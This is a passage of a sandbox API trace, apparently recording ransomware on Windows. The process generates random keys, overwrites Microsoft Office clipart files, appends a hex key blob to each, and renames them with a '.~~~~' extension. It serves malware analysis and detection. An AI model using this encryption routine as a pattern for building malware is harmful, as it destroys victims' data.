	[0109.084] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.084] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.084] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.085] CloseHandle (hObject=0x138) returned 1
	[0109.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5488
	[0109.085] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.~~~~")) returned 1
	[0109.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5488 | out: hHeap=0x300000) returned 1
	[0109.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0109.086] GetLastError () returned 0x0
	[0109.087] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0109.088] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.088] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0109.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0109.088] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22907807627) returned 1
	[0109.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaaae0f70, dwHighDateTime=0x1d60e1e)) 
	[0109.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0109.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0109.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0109.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808838
	[0109.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808838 | out: hHeap=0x300000) returned 1
	[0109.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5488
	[0109.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282aab8
	[0109.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5488 | out: hHeap=0x300000) returned 1
	[0109.089] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0109.089] GetLastError () returned 0x0
	[0109.089] GetLastError () returned 0x0
	[0109.089] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0109.090] GetLastError () returned 0x0
	[0109.090] GetLastError () returned 0x0
	[0109.097] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffea80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.097] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x1580, lpOverlapped=0x0) returned 1
	[0109.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0109.099] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.099] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.099] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.099] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.099] CloseHandle (hObject=0x138) returned 1
	[0109.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5488
	[0109.100] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.~~~~")) returned 1
	[0109.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5488 | out: hHeap=0x300000) returned 1
	[0109.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0109.299] GetLastError () returned 0x0
	[0109.300] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0109.301] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.301] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0109.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0109.301] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22929124315) returned 1
	[0109.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaaca9ff0, dwHighDateTime=0x1d60e1e)) 
	[0109.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0109.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0109.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0109.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808988
	[0109.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808988 | out: hHeap=0x300000) returned 1
	[0109.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5488
	[0109.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875ef8
	[0109.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5488 | out: hHeap=0x300000) returned 1
	[0109.302] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0109.302] GetLastError () returned 0x0
	[0109.303] GetLastError () returned 0x0
	[0109.303] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0109.303] GetLastError () returned 0x0
	[0109.303] GetLastError () returned 0x0
	[0109.367] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff9106, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.368] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x6efa, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x6efa, lpOverlapped=0x0) returned 1
	[0109.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0109.370] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.370] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.370] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.370] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.371] CloseHandle (hObject=0x138) returned 1
	[0109.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0109.371] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.~~~~")) returned 1
	[0109.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0109.372] GetLastError () returned 0x0
	[0109.373] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0109.382] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.382] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0109.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0109.382] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22937244062) returned 1
	[0109.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaad8e830, dwHighDateTime=0x1d60e1e)) 
	[0109.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0109.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0109.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0109.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de00
	[0109.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de00 | out: hHeap=0x300000) returned 1
	[0109.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0109.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0109.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.383] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0109.384] GetLastError () returned 0x0
	[0109.384] GetLastError () returned 0x0
	[0109.384] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0109.384] GetLastError () returned 0x0
	[0109.384] GetLastError () returned 0x0
	[0109.398] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffb884, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.398] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x477c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x477c, lpOverlapped=0x0) returned 1
	[0109.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0109.405] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.406] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.406] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.406] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.406] CloseHandle (hObject=0x138) returned 1
	[0109.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0109.406] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.~~~~")) returned 1
	[0109.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0109.408] GetLastError () returned 0x0
	[0109.413] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0109.468] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.468] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0109.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0109.484] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22947418371) returned 1
	[0109.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaae73070, dwHighDateTime=0x1d60e1e)) 
	[0109.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0109.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0109.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0109.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808a68
	[0109.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808a68 | out: hHeap=0x300000) returned 1
	[0109.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0109.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b088
	[0109.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0109.485] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0109.485] GetLastError () returned 0x0
	[0109.486] GetLastError () returned 0x0
	[0109.486] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0109.486] GetLastError () returned 0x0
	[0109.486] GetLastError () returned 0x0
	[0109.522] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffad0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.522] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x530, lpOverlapped=0x0) returned 1
	[0109.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0109.525] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.525] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.525] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.525] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.525] CloseHandle (hObject=0x138) returned 1
	[0109.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0109.535] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.~~~~")) returned 1
	[0109.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0109.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0109.538] GetLastError () returned 0x0
	[0109.539] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0109.540] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.540] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0109.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0109.540] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22953046422) returned 1
	[0109.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaaf0b5f0, dwHighDateTime=0x1d60e1e)) 
	[0109.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0109.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0109.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0109.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808aa0
	[0109.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808aa0 | out: hHeap=0x300000) returned 1
	[0109.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0109.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282aff0
	[0109.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0109.541] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0109.542] GetLastError () returned 0x0
	[0109.542] GetLastError () returned 0x0
	[0109.542] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0109.542] GetLastError () returned 0x0
	[0109.542] GetLastError () returned 0x0
	[0109.546] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff89a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.546] WriteFile (in: hFile=0x138, lpBuffer=0x29a8088*, nNumberOfBytesToWrite=0x7658, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a8088*, lpNumberOfBytesWritten=0x26dfec0*=0x7658, lpOverlapped=0x0) returned 1
	[0109.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a8088 | out: hHeap=0x300000) returned 1
